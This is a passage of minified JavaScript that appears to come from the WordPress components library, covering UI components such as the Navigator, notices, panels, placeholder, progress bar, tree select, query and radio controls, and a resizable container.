S=e[e.length-1],C="string"==typeof S?m.indexOf(S[S.length-1])>-1:void 0===S;o||(g+="(?:".concat(m,"(?=").concat(h,"))?")),C||(g+="(?=".concat(m,"|").concat(h,")"))}return new RegExp(g,Sz(n))}(yz(e,n),t,n)}function kz(e,t,n){return e instanceof RegExp?function(e,t){if(!t)return e;for(var n=/\((?:\?<(.*?)>)?(?!\?)/g,r=0,o=n.exec(e.source);o;)t.push({name:o[1]||r++,prefix:"",suffix:"",modifier:"",pattern:""}),o=n.exec(e.source);return e}(e,t):Array.isArray(e)?function(e,t,n){var r=e.map((function(e){return kz(e,t,n).source}));return new RegExp("(?:".concat(r.join("|"),")"),Sz(n))}(e,t,n):Cz(e,t,n)}function jz(e,t){return wz(t,{decode:decodeURIComponent})(e)}const Ez=(0,c.createContext)({location:{},goTo:()=>{},goBack:()=>{},goToParent:()=>{},addScreen:()=>{},removeScreen:()=>{},params:{}});const Pz={name:"1br0vvk",styles:"position:relative;overflow-x:clip;contain:layout;display:grid;grid-template-columns:1fr;grid-template-rows:1fr;align-items:start"},Nz=Tl({from:{opacity:0}}),Tz=Tl({to:{opacity:0}}),Iz=Tl({from:{transform:"translateX(100px)"}}),Rz=Tl({to:{transform:"translateX(-80px)"}}),Mz=Tl({from:{transform:"translateX(-100px)"}}),Az=Tl({to:{transform:"translateX(80px)"}}),Dz=70,zz="linear",Oz={IN:70,OUT:40},Lz=300,Fz="cubic-bezier(0.33, 0, 0, 1)",Bz=Math.max(Dz+Oz.IN,Lz),Vz=Math.max(Dz+Oz.OUT,Lz),$z={end:{in:Iz.name,out:Rz.name},start:{in:Mz.name,out:Az.name}},Hz={end:{in:Nl(Dz,"ms ",zz," ",Oz.IN,"ms both ",Nz,",",Lz,"ms ",Fz," both ",Iz,";",""),out:Nl(Dz,"ms ",zz," ",Oz.OUT,"ms both ",Tz,",",Lz,"ms ",Fz," both ",Rz,";","")},start:{in:Nl(Dz,"ms ",zz," ",Oz.IN,"ms both ",Nz,",",Lz,"ms ",Fz," both ",Mz,";",""),out:Nl(Dz,"ms ",zz," ",Oz.OUT,"ms both ",Tz,",",Lz,"ms ",Fz," both ",Az,";","")}},Wz=Nl("z-index:1;&[data-animation-type='out']{z-index:0;}@media not ( prefers-reduced-motion ){&:not( [data-skip-animation] ){",["start","end"].map((e=>["in","out"].map((t=>Nl("&[data-animation-direction='",e,"'][data-animation-type='",t,"']{animation:",Hz[e][t],";}",""))))),";}}",""),Uz={name:"14di7zd",styles:"overflow-x:auto;max-height:100%;box-sizing:border-box;position:relative;grid-column:1/-1;grid-row:1/-1"};function Gz(e,t,n={}){var r;const{focusSelectors:o}=e,i={...e.currentLocation},{isBack:s=!1,skipFocus:a=!1,replace:l,focusTargetSelector:c,...u}=n;if(i.path===t)return{currentLocation:i,focusSelectors:o};let d,p;function f(){var t;return d=null!==(t=d)&&void 0!==t?t:new Map(e.focusSelectors),d}return c&&i.path&&f().set(i.path,c),o.get(t)&&(s&&(p=o.get(t)),f().delete(t)),{currentLocation:{...u,isInitial:!1,path:t,isBack:s,hasRestoredFocus:!1,focusTargetSelector:p,skipFocus:a},focusSelectors:null!==(r=d)&&void 0!==r?r:o}}function Kz(e,t={}){const{screens:n,focusSelectors:r}=e,o={...e.currentLocation},i=o.path;if(void 0===i)return{currentLocation:o,focusSelectors:r};const s=function(e,t){if(!e.startsWith("/"))return;const n=e.split("/");let r;for(;n.length>1&&void 0===r;){n.pop();const e=""===n.join("/")?"/":n.join("/");t.find((t=>!1!==jz(e,t.path)))&&(r=e)}return r}(i,n);return void 0===s?{currentLocation:o,focusSelectors:r}:Gz(e,s,{...t,isBack:!0})}function qz(e,t){let{screens:n,currentLocation:r,matchedPath:o,focusSelectors:i,...s}=e;switch(t.type){case"add":n=function({screens:e},t){return e.some((e=>e.path===t.path))?e:[...e,t]}(e,t.screen);break;case"remove":n=function({screens:e},t){return e.filter((e=>e.id!==t.id))}(e,t.screen);break;case"goto":({currentLocation:r,focusSelectors:i}=Gz(e,t.path,t.options));break;case"gotoparent":({currentLocation:r,focusSelectors:i}=Kz(e,t.options))}if(n===e.screens&&r===e.currentLocation)return e;const a=r.path;return o=void 0!==a?function(e,t){for(const n of t){const t=jz(e,n.path);if(t)return{params:t.params,id:n.id}}}(a,n):void 0,o&&e.matchedPath&&o.id===e.matchedPath.id&&pw()(o.params,e.matchedPath.params)&&(o=e.matchedPath),{...s,screens:n,currentLocation:r,matchedPath:o,focusSelectors:i}}const Yz=al((function(e,t){const{initialPath:n,children:r,className:o,...i}=sl(e,"Navigator"),[s,a]=(0,c.useReducer)(qz,n,(e=>({screens:[],currentLocation:{path:e,isInitial:!0},matchedPath:void 0,focusSelectors:new Map,initialPath:n}))),l=(0,c.useMemo)((()=>({goBack:e=>a({type:"gotoparent",options:e}),goTo:(e,t)=>a({type:"goto",path:e,options:t}),goToParent:e=>{Xi()("wp.components.useNavigator().goToParent",{since:"6.7",alternative:"wp.components.useNavigator().goBack"}),a({type:"gotoparent",options:e})},addScreen:e=>a({type:"add",screen:e}),removeScreen:e=>a({type:"remove",screen:e})})),[]),{currentLocation:u,matchedPath:d}=s,p=(0,c.useMemo)((()=>{var e;return{location:u,params:null!==(e=d?.params)&&void 0!==e?e:{},match:d?.id,...l}}),[u,d,l]),f=il(),h=(0,c.useMemo)((()=>f(Pz,o)),[o,f]);return(0,_t.jsx)(_l,{ref:t,className:h,...i,children:(0,_t.jsx)(Ez.Provider,{value:p,children:r})})}),"Navigator"),Xz=window.wp.escapeHtml;function Zz({isMatch:e,skipAnimation:t,isBack:n,onAnimationEnd:r}){const o=(0,a.isRTL)(),i=(0,l.useReducedMotion)(),[s,u]=(0,c.useState)("INITIAL"),d="ANIMATING_IN"!==s&&"IN"!==s&&e,p="ANIMATING_OUT"!==s&&"OUT"!==s&&!e;(0,c.useLayoutEffect)((()=>{d?u(t||i?"IN":"ANIMATING_IN"):p&&u(t||i?"OUT":"ANIMATING_OUT")}),[d,p,t,i]);const f=o&&n||!o&&!n?"end":"start",h="ANIMATING_IN"===s,m="ANIMATING_OUT"===s;let g;h?g="in":m&&(g="out");const v=(0,c.useCallback)((e=>{r?.(e),((e,t,n)=>"ANIMATING_OUT"===t&&n===$z[e].out)(f,s,e.animationName)?u("OUT"):((e,t,n)=>"ANIMATING_IN"===t&&n===$z[e].in)(f,s,e.animationName)&&u("IN")}),[r,s,f]);return(0,c.useEffect)((()=>{let e;return m?e=window.setTimeout((()=>{u("OUT"),e=void 0}),1.2*Vz):h&&(e=window.setTimeout((()=>{u("IN"),e=void 0}),1.2*Bz)),()=>{e&&(window.clearTimeout(e),e=void 0)}}),[m,h]),{animationStyles:Wz,shouldRenderScreen:e||"IN"===s||"ANIMATING_OUT"===s,screenProps:{onAnimationEnd:v,"data-animation-direction":f,"data-animation-type":g,"data-skip-animation":t||void 0}}}const Qz=al((function(e,t){/^\//.test(e.path);const n=(0,c.useId)(),{children:r,className:o,path:i,onAnimationEnd:s,...a}=sl(e,"Navigator.Screen"),{location:u,match:d,addScreen:p,removeScreen:f}=(0,c.useContext)(Ez),{isInitial:h,isBack:m,focusTargetSelector:g,skipFocus:v}=u,b=d===n,x=(0,c.useRef)(null),y=!!h&&!m;(0,c.useEffect)((()=>{const e={id:n,path:(0,Xz.escapeAttribute)(i)};return p(e),()=>f(e)}),[n,i,p,f]);const{animationStyles:w,shouldRenderScreen:_,screenProps:S}=Zz({isMatch:b,isBack:m,onAnimationEnd:s,skipAnimation:y}),C=il(),k=(0,c.useMemo)((()=>C(Uz,w,o)),[o,C,w]),j=(0,c.useRef)(u);(0,c.useEffect)((()=>{j.current=u}),[u]),(0,c.useEffect)((()=>{const e=x.current;if(y||!b||!e||j.current.hasRestoredFocus||v)return;const t=e.ownerDocument.activeElement;if(e.contains(t))return;let n=null;if(m&&g&&(n=e.querySelector(g)),!n){const[t]=bN.focus.tabbable.find(e);n=null!=t?t:e}j.current.hasRestoredFocus=!0,n.focus()}),[y,b,m,g,v]);const E=(0,l.useMergeRefs)([t,x]);return _?(0,_t.jsx)(_l,{ref:E,className:k,...S,...a,children:r}):null}),"Navigator.Screen");function Jz(){const{location:e,params:t,goTo:n,goBack:r,goToParent:o}=(0,c.useContext)(Ez);return{location:e,goTo:n,goBack:r,goToParent:o,params:t}}const eO=al((function(e,t){const n=function(e){const{path:t,onClick:n,as:r=Jx,attributeName:o="id",...i}=sl(e,"Navigator.Button"),s=(0,Xz.escapeAttribute)(t),{goTo:a}=Jz();return{as:r,onClick:(0,c.useCallback)((e=>{var t,r;e.preventDefault(),a(s,{focusTargetSelector:(t=o,r=s,`[${t}="${r}"]`)}),n?.(e)}),[a,n,o,s]),...i,[o]:s}}(e);return(0,_t.jsx)(_l,{ref:t,...n})}),"Navigator.Button");const tO=al((function(e,t){const n=function(e){const{onClick:t,as:n=Jx,...r}=sl(e,"Navigator.BackButton"),{goBack:o}=Jz();return{as:n,onClick:(0,c.useCallback)((e=>{e.preventDefault(),o(),t?.(e)}),[o,t]),...r}}(e);return(0,_t.jsx)(_l,{ref:t,...n})}),"Navigator.BackButton");const nO=al((function(e,t){return Xi()("wp.components.NavigatorToParentButton",{since:"6.7",alternative:"wp.components.Navigator.BackButton"}),(0,_t.jsx)(tO,{ref:t,...e})}),"Navigator.ToParentButton"),rO=Object.assign(Yz,{displayName:"NavigatorProvider"}),oO=Object.assign(Qz,{displayName:"NavigatorScreen"}),iO=Object.assign(eO,{displayName:"NavigatorButton"}),sO=Object.assign(tO,{displayName:"NavigatorBackButton"}),aO=Object.assign(nO,{displayName:"NavigatorToParentButton"}),lO=Object.assign(Yz,{Screen:Object.assign(Qz,{displayName:"Navigator.Screen"}),Button:Object.assign(eO,{displayName:"Navigator.Button"}),BackButton:Object.assign(tO,{displayName:"Navigator.BackButton"})}),cO=()=>{};function uO(e){switch(e){case"success":case"warning":case"info":return"polite";default:return"assertive"}}function dO(e){switch(e){case"warning":return(0,a.__)("Warning notice");case"info":return(0,a.__)("Information notice");case"error":return(0,a.__)("Error notice");default:return(0,a.__)("Notice")}}const pO=function({className:e,status:t="info",children:n,spokenMessage:r=n,onRemove:o=cO,isDismissible:i=!0,actions:l=[],politeness:u=uO(t),__unstableHTML:d,onDismiss:p=cO}){!function(e,t){const n="string"==typeof e?e:(0,c.renderToString)(e);(0,c.useEffect)((()=>{n&&(0,jy.speak)(n,t)}),[n,t])}(r,u);const f=s(e,"components-notice","is-"+t,{"is-dismissible":i});return d&&"string"==typeof n&&(n=(0,_t.jsx)(c.RawHTML,{children:n})),(0,_t.jsxs)("div",{className:f,children:[(0,_t.jsx)(Sl,{children:dO(t)}),(0,_t.jsxs)("div",{className:"components-notice__content",children:[n,(0,_t.jsx)("div",{className:"components-notice__actions",children:l.map((({className:e,label:t,isPrimary:n,variant:r,noDefaultClasses:o=!1,onClick:i,url:a},l)=>{let c=r;return"primary"===r||o||(c=a?"link":"secondary"),void 0===c&&n&&(c="primary"),(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,href:a,variant:c,onClick:a?void 0:i,className:s("components-notice__action",e),children:t},l)}))})]}),i&&(0,_t.jsx)(Jx,{size:"small",className:"components-notice__dismiss",icon:Fy,label:(0,a.__)("Close"),onClick:()=>{p(),o()}})]})},fO=()=>{};const hO=function({notices:e,onRemove:t=fO,className:n,children:r}){const o=e=>()=>t(e);return n=s("components-notice-list",n),(0,_t.jsxs)("div",{className:n,children:[r,[...e].reverse().map((e=>{const{content:t,...n}=e;return(0,B.createElement)(pO,{...n,key:e.id,onRemove:o(e.id)},e.content)}))]})};const mO=function({label:e,children:t}){return(0,_t.jsxs)("div",{className:"components-panel__header",children:[e&&(0,_t.jsx)("h2",{children:e}),t]})};const gO=(0,c.forwardRef)((function({header:e,className:t,children:n},r){const o=s(t,"components-panel");return(0,_t.jsxs)("div",{className:o,ref:r,children:[e&&(0,_t.jsx)(mO,{label:e}),n]})})),vO=(0,_t.jsx)(n.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,_t.jsx)(n.Path,{d:"M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"})}),bO=()=>{};const xO=(0,c.forwardRef)((({isOpened:e,icon:t,title:n,...r},o)=>n?(0,_t.jsx)("h2",{className:"components-panel__body-title",children:(0,_t.jsxs)(Jx,{__next40pxDefaultSize:!0,className:"components-panel__body-toggle","aria-expanded":e,ref:o,...r,children:[(0,_t.jsx)("span",{"aria-hidden":"true",children:(0,_t.jsx)(Xx,{className:"components-panel__arrow",icon:e?vO:iS})}),n,t&&(0,_t.jsx)(Xx,{icon:t,className:"components-panel__icon",size:20})]})}):null)),yO=(0,c.forwardRef)((function(e,t){const{buttonProps:n={},children:r,className:o,icon:i,initialOpen:a,onToggle:u=bO,opened:d,title:p,scrollAfterOpen:f=!0}=e,[h,m]=dS(d,{initial:void 0===a||a,fallback:!1}),g=(0,c.useRef)(null),v=(0,l.useReducedMotion)()?"auto":"smooth",b=(0,c.useRef)();b.current=f,fs((()=>{h&&b.current&&g.current?.scrollIntoView&&g.current.scrollIntoView({inline:"nearest",block:"nearest",behavior:v})}),[h,v]);const x=s("components-panel__body",o,{"is-opened":h});return(0,_t.jsxs)("div",{className:x,ref:(0,l.useMergeRefs)([g,t]),children:[(0,_t.jsx)(xO,{icon:i,isOpened:Boolean(h),onClick:e=>{e.preventDefault();const t=!h;m(t),u(t)},title:p,...n}),"function"==typeof r?r({opened:Boolean(h)}):h&&r]})})),wO=yO;const _O=(0,c.forwardRef)((function({className:e,children:t},n){return(0,_t.jsx)("div",{className:s("components-panel__row",e),ref:n,children:t})})),SO=(0,_t.jsx)(n.SVG,{className:"components-placeholder__illustration",fill:"none",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 60 60",preserveAspectRatio:"none",children:(0,_t.jsx)(n.Path,{vectorEffect:"non-scaling-stroke",d:"M60 60 0 0"})});const CO=function(e){const{icon:t,children:n,label:r,instructions:o,className:i,notices:a,preview:u,isColumnLayout:d,withIllustration:p,...f}=e,[h,{width:m}]=(0,l.useResizeObserver)();let g;"number"==typeof m&&(g={"is-large":m>=480,"is-medium":m>=160&&m<480,"is-small":m<160});const v=s("components-placeholder",i,g,p?"has-illustration":null),b=s("components-placeholder__fieldset",{"is-column-layout":d});return(0,c.useEffect)((()=>{o&&(0,jy.speak)(o)}),[o]),(0,_t.jsxs)("div",{...f,className:v,children:[p?SO:null,h,a,u&&(0,_t.jsx)("div",{className:"components-placeholder__preview",children:u}),(0,_t.jsxs)("div",{className:"components-placeholder__label",children:[(0,_t.jsx)(Xx,{icon:t}),r]}),!!o&&(0,_t.jsx)("div",{className:"components-placeholder__instructions",children:o}),(0,_t.jsx)("div",{className:b,children:n})]})};function kO(e=!1){const t=e?"right":"left";return Tl({"0%":{[t]:"-50%"},"100%":{[t]:"100%"}})}const jO=yl("div",{target:"e15u147w2"})("position:relative;overflow:hidden;height:",Fl.borderWidthFocus,";background-color:color-mix(\n\t\tin srgb,\n\t\t",zl.theme.foreground,",\n\t\ttransparent 90%\n\t);border-radius:",Fl.radiusFull,";outline:2px solid transparent;outline-offset:2px;:where( & ){width:160px;}");var EO={name:"152sa26",styles:"width:var(--indicator-width);transition:width 0.4s ease-in-out"};const PO=yl("div",{target:"e15u147w1"})("display:inline-block;position:absolute;top:0;height:100%;border-radius:",Fl.radiusFull,";background-color:color-mix(\n\t\tin srgb,\n\t\t",zl.theme.foreground,",\n\t\ttransparent 10%\n\t);outline:2px solid transparent;outline-offset:-2px;",(({isIndeterminate:e})=>e?Nl({animationDuration:"1.5s",animationTimingFunction:"ease-in-out",animationIterationCount:"infinite",animationName:kO((0,a.isRTL)()),width:"50%"},"",""):EO),";"),NO=yl("progress",{target:"e15u147w0"})({name:"11fb690",styles:"position:absolute;top:0;left:0;opacity:0;width:100%;height:100%"});const TO=(0,c.forwardRef)((function(e,t){const{className:n,value:r,...o}=e,i=!Number.isFinite(r);return(0,_t.jsxs)(jO,{className:n,children:[(0,_t.jsx)(PO,{style:{"--indicator-width":i?void 0:`${r}%`},isIndeterminate:i}),(0,_t.jsx)(NO,{max:100,value:r,"aria-label":(0,a.__)("Loading …"),ref:t,...o})]})}));function IO(e){const t=e.map((e=>({children:[],parent:null,...e,id:String(e.id)})));if(!t.every((e=>null!==e.parent)))return t;const n=t.reduce(((e,t)=>{const{parent:n}=t;return e[n]||(e[n]=[]),e[n].push(t),e}),{}),r=e=>e.map((e=>{const t=n[e.id];return{...e,children:t&&t.length?r(t):[]}}));return r(n[0]||[])}const RO=window.wp.htmlEntities,MO={BaseControl:{_overrides:{__associatedWPComponentName:"TreeSelect"}}};function AO(e,t=0){return e.flatMap((e=>[{value:e.id,label:" ".repeat(3*t)+(0,RO.decodeEntities)(e.name)},...AO(e.children||[],t+1)]))}const DO=function(e){const{label:t,noOptionLabel:n,onChange:r,selectedId:o,tree:i=[],...s}=hb(e),a=(0,c.useMemo)((()=>[n&&{value:"",label:n},...AO(i)].filter((e=>!!e))),[n,i]);return Ux({componentName:"TreeSelect",size:s.size,__next40pxDefaultSize:s.__next40pxDefaultSize}),(0,_t.jsx)(gs,{value:MO,children:(0,_t.jsx)(lS,{__shouldNotWarnDeprecated36pxSize:!0,label:t,options:a,onChange:r,value:o,...s})})};function zO({__next40pxDefaultSize:e,label:t,noOptionLabel:n,authorList:r,selectedAuthorId:o,onChange:i}){if(!r)return null;const s=IO(r);return(0,_t.jsx)(DO,{label:t,noOptionLabel:n,onChange:i,tree:s,selectedId:void 0!==o?String(o):void 0,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:e})}function OO({__next40pxDefaultSize:e,label:t,noOptionLabel:n,categoriesList:r,selectedCategoryId:o,onChange:i,...s}){const a=(0,c.useMemo)((()=>IO(r)),[r]);return(0,_t.jsx)(DO,{label:t,noOptionLabel:n,onChange:i,tree:a,selectedId:void 0!==o?String(o):void 0,...s,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:e})}function LO(e){return"categoriesList"in e}function FO(e){return"categorySuggestions"in e}const BO=[{label:(0,a.__)("Newest to oldest"),value:"date/desc"},{label:(0,a.__)("Oldest to newest"),value:"date/asc"},{label:(0,a.__)("A → Z"),value:"title/asc"},{label:(0,a.__)("Z → A"),value:"title/desc"}];const VO=function({authorList:e,selectedAuthorId:t,numberOfItems:n,order:r,orderBy:o,orderByOptions:i=BO,maxItems:s=100,minItems:l=1,onAuthorChange:c,onNumberOfItemsChange:u,onOrderChange:d,onOrderByChange:p,...f}){return(0,_t.jsx)(pk,{spacing:"4",className:"components-query-controls",children:[d&&p&&(0,_t.jsx)(cS,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,a.__)("Order by"),value:void 0===o||void 0===r?void 0:`${o}/${r}`,options:i,onChange:e=>{if("string"!=typeof e)return;const[t,n]=e.split("/");n!==r&&d(n),t!==o&&p(t)}},"query-controls-order-select"),LO(f)&&f.categoriesList&&f.onCategoryChange&&(0,_t.jsx)(OO,{__next40pxDefaultSize:!0,categoriesList:f.categoriesList,label:(0,a.__)("Category"),noOptionLabel:(0,a._x)("All","categories"),selectedCategoryId:f.selectedCategoryId,onChange:f.onCategoryChange},"query-controls-category-select"),FO(f)&&f.categorySuggestions&&f.onCategoryChange&&(0,_t.jsx)(pD,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,a.__)("Categories"),value:f.selectedCategories&&f.selectedCategories.map((e=>({id:e.id,value:e.name||e.value}))),suggestions:Object.keys(f.categorySuggestions),onChange:f.onCategoryChange,maxSuggestions:20},"query-controls-categories-select"),c&&(0,_t.jsx)(zO,{__next40pxDefaultSize:!0,authorList:e,label:(0,a.__)("Author"),noOptionLabel:(0,a._x)("All","authors"),selectedAuthorId:t,onChange:c},"query-controls-author-select"),u&&(0,_t.jsx)(ZS,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,a.__)("Number of items"),value:n,onChange:u,min:l,max:s,required:!0},"query-controls-range-control")]})},$O=(0,c.createContext)({store:void 0,disabled:void 0});const HO=(0,c.forwardRef)((function({value:e,children:t,...n},r){const{store:o,disabled:i}=(0,c.useContext)($O),s=et(o,"value"),a=void 0!==s&&s===e;return Ux({componentName:"Radio",size:void 0,__next40pxDefaultSize:n.__next40pxDefaultSize}),(0,_t.jsx)(__,{disabled:i,store:o,ref:r,value:e,render:(0,_t.jsx)(Jx,{variant:a?"primary":"secondary",...n}),children:t||e})})),WO=HO;const UO=(0,c.forwardRef)((function({label:e,checked:t,defaultChecked:n,disabled:r,onChange:o,children:i,...s},l){const u=n_({value:t,defaultValue:n,setValue:e=>{o?.(null!=e?e:void 0)},rtl:(0,a.isRTL)()}),d=(0,c.useMemo)((()=>({store:u,disabled:r})),[u,r]);return Xi()("wp.components.__experimentalRadioGroup",{alternative:"wp.components.RadioControl or wp.components.__experimentalToggleGroupControl",since:"6.8"}),(0,_t.jsx)($O.Provider,{value:d,children:(0,_t.jsx)(l_,{store:u,render:(0,_t.jsx)(cE,{__shouldNotWarnDeprecated:!0,children:i}),"aria-label":e,ref:l,...s})})})),GO=UO;function KO(e,t){return`${e}-${t}-option-description`}function qO(e,t){return`${e}-${t}`}function YO(e){return`${e}__help`}const XO=function e(t){const{label:n,className:r,selected:o,help:i,onChange:a,hideLabelFromVision:c,options:u=[],id:d,...p}=t,f=(0,l.useInstanceId)(e,"inspector-radio-control",d),h=e=>a(e.target.value);return u?.length?(0,_t.jsxs)("fieldset",{id:f,className:s(r,"components-radio-control"),"aria-describedby":i?YO(f):void 0,children:[c?(0,_t.jsx)(Sl,{as:"legend",children:n}):(0,_t.jsx)(Wx.VisualLabel,{as:"legend",children:n}),(0,_t.jsx)(pk,{spacing:3,className:s("components-radio-control__group-wrapper",{"has-help":!!i}),children:u.map(((e,t)=>(0,_t.jsxs)("div",{className:"components-radio-control__option",children:[(0,_t.jsx)("input",{id:qO(f,t),className:"components-radio-control__input",type:"radio",name:f,value:e.value,onChange:h,checked:e.value===o,"aria-describedby":e.description?KO(f,t):void 0,...p}),(0,_t.jsx)("label",{className:"components-radio-control__label",htmlFor:qO(f,t),children:e.label}),e.description?(0,_t.jsx)(Bx,{__nextHasNoMarginBottom:!0,id:KO(f,t),className:"components-radio-control__option-description",children:e.description}):null]},qO(f,t))))}),!!i&&(0,_t.jsx)(Bx,{__nextHasNoMarginBottom:!0,id:YO(f),className:"components-base-control__help",children:i})]}):null};var ZO=function(){var e=function(t,n){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},e(t,n)};return function(t,n){function r(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}(),QO=function(){return QO=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},QO.apply(this,arguments)},JO={width:"100%",height:"10px",top:"0px",left:"0px",cursor:"row-resize"},eL={width:"10px",height:"100%",top:"0px",left:"0px",cursor:"col-resize"},tL={width:"20px",height:"20px",position:"absolute"},nL={top:QO(QO({},JO),{top:"-5px"}),right:QO(QO({},eL),{left:void 0,right:"-5px"}),bottom:QO(QO({},JO),{top:void 0,bottom:"-5px"}),left:QO(QO({},eL),{left:"-5px"}),topRight:QO(QO({},tL),{right:"-10px",top:"-10px",cursor:"ne-resize"}),bottomRight:QO(QO({},tL),{right:"-10px",bottom:"-10px",cursor:"se-resize"}),bottomLeft:QO(QO({},tL),{left:"-10px",bottom:"-10px",cursor:"sw-resize"}),topLeft:QO(QO({},tL),{left:"-10px",top:"-10px",cursor:"nw-resize"})},rL=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.onMouseDown=function(e){t.props.onResizeStart(e,t.props.direction)},t.onTouchStart=function(e){t.props.onResizeStart(e,t.props.direction)},t}return ZO(t,e),t.prototype.render=function(){return B.createElement("div",{className:this.props.className||"",style:QO(QO({position:"absolute",userSelect:"none"},nL[this.props.direction]),this.props.replaceStyles||{}),onMouseDown:this.onMouseDown,onTouchStart:this.onTouchStart},this.props.children)},t}(B.PureComponent),oL=function(){var e=function(t,n){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},e(t,n)};return function(t,n){function r(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}(),iL=function(){return iL=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},iL.apply(this,arguments)},sL={width:"auto",height:"auto"},aL=function(e,t,n){return Math.max(Math.min(e,n),t)},lL=function(e,t){return Math.round(e/t)*t},cL=function(e,t){return new RegExp(e,"i").test(t)},uL=function(e){return Boolean(e.touches&&e.touches.length)},dL=function(e,t,n){void 0===n&&(n=0);var r=t.reduce((function(n,r,o){return Math.abs(r-e)<Math.abs(t[n]-e)?o:n}),0),o=Math.abs(t[r]-e);return 0===n||o<n?t[r]:e},pL=function(e){return"auto"===(e=e.toString())||e.endsWith("px")||e.endsWith("%")||e.endsWith("vh")||e.endsWith("vw")||e.endsWith("vmax")||e.endsWith("vmin")?e:e+"px"},fL=function(e,t,n,r){if(e&&"string"==typeof e){if(e.endsWith("px"))return Number(e.replace("px",""));if(e.endsWith("%"))return t*(Number(e.replace("%",""))/100);if(e.endsWith("vw"))return n*(Number(e.replace("vw",""))/100);if(e.endsWith("vh"))return r*(Number(e.replace("vh",""))/100)}return e},hL=["as","style","className","grid","snap","bounds","boundsByDirection","size","defaultSize","minWidth","minHeight","maxWidth","maxHeight","lockAspectRatio","lockAspectRatioExtraWidth","lockAspectRatioExtraHeight","enable","handleStyles","handleClasses","handleWrapperStyle","handleWrapperClass","children","onResizeStart","onResize","onResizeStop","handleComponent","scale","resizeRatio","snapGap"],mL="__resizable_base__",gL=function(e){function t(t){var n=e.call(this,t)||this;return n.ratio=1,n.resizable=null,n.parentLeft=0,n.parentTop=0,n.resizableLeft=0,n.resizableRight=0,n.resizableTop=0,n.resizableBottom=0,n.targetLeft=0,n.targetTop=0,n.appendBase=function(){if(!n.resizable||!n.window)return null;var e=n.parentNode;if(!e)return null;var t=n.window.document.createElement("div");return t.style.width="100%",t.style.height="100%",t.style.position="absolute",t.style.transform="scale(0, 0)",t.style.left="0",t.style.flex="0 0 100%",t.classList?t.classList.add(mL):t.className+=mL,e.appendChild(t),t},n.removeBase=function(e){var t=n.parentNode;t&&t.removeChild(e)},n.ref=function(e){e&&(n.resizable=e)},n.state={isResizing:!1,width:void 0===(n.propsSize&&n.propsSize.width)?"auto":n.propsSize&&n.propsSize.width,height:void 0===(n.propsSize&&n.propsSize.height)?"auto":n.propsSize&&n.propsSize.height,direction:"right",original:{x:0,y:0,width:0,height:0},backgroundStyle:{height:"100%",width:"100%",backgroundColor:"rgba(0,0,0,0)",cursor:"auto",opacity:0,position:"fixed",zIndex:9999,top:"0",left:"0",bottom:"0",right:"0"},flexBasis:void 0},n.onResizeStart=n.onResizeStart.bind(n),n.onMouseMove=n.onMouseMove.bind(n),n.onMouseUp=n.onMouseUp.bind(n),n}return oL(t,e),Object.defineProperty(t.prototype,"parentNode",{get:function(){return this.resizable?this.resizable.parentNode:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"window",{get:function(){return this.resizable&&this.resizable.ownerDocument?this.resizable.ownerDocument.defaultView:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"propsSize",{get:function(){return this.props.size||this.props.defaultSize||sL},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"size",{get:function(){var e=0,t=0;if(this.resizable&&this.window){var n=this.resizable.offsetWidth,r=this.resizable.offsetHeight,o=this.resizable.style.position;"relative"!==o&&(this.resizable.style.position="relative"),e="auto"!==this.resizable.style.width?this.resizable.offsetWidth:n,t="auto"!==this.resizable.style.height?this.resizable.offsetHeight:r,this.resizable.style.position=o}return{width:e,height:t}},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"sizeStyle",{get:function(){var e=this,t=this.props.size,n=function(t){if(void 0===e.state[t]||"auto"===e.state[t])return"auto";if(e.propsSize&&e.propsSize[t]&&e.propsSize[t].toString().endsWith("%")){if(e.state[t].toString().endsWith("%"))return e.state[t].toString();var n=e.getParentSize();return Number(e.state[t].toString().replace("px",""))/n[t]*100+"%"}return pL(e.state[t])};return{width:t&&void 0!==t.width&&!this.state.isResizing?pL(t.width):n("width"),height:t&&void 0!==t.height&&!this.state.isResizing?pL(t.height):n("height")}},enumerable:!1,configurable:!0}),t.prototype.getParentSize=function(){if(!this.parentNode)return this.window?{width:this.window.innerWidth,height:this.window.innerHeight}:{width:0,height:0};var e=this.appendBase();if(!e)return{width:0,height:0};var t=!1,n=this.parentNode.style.flexWrap;"wrap"!==n&&(t=!0,this.parentNode.style.flexWrap="wrap"),e.style.position="relative",e.style.minWidth="100%",e.style.minHeight="100%";var r={width:e.offsetWidth,height:e.offsetHeight};return 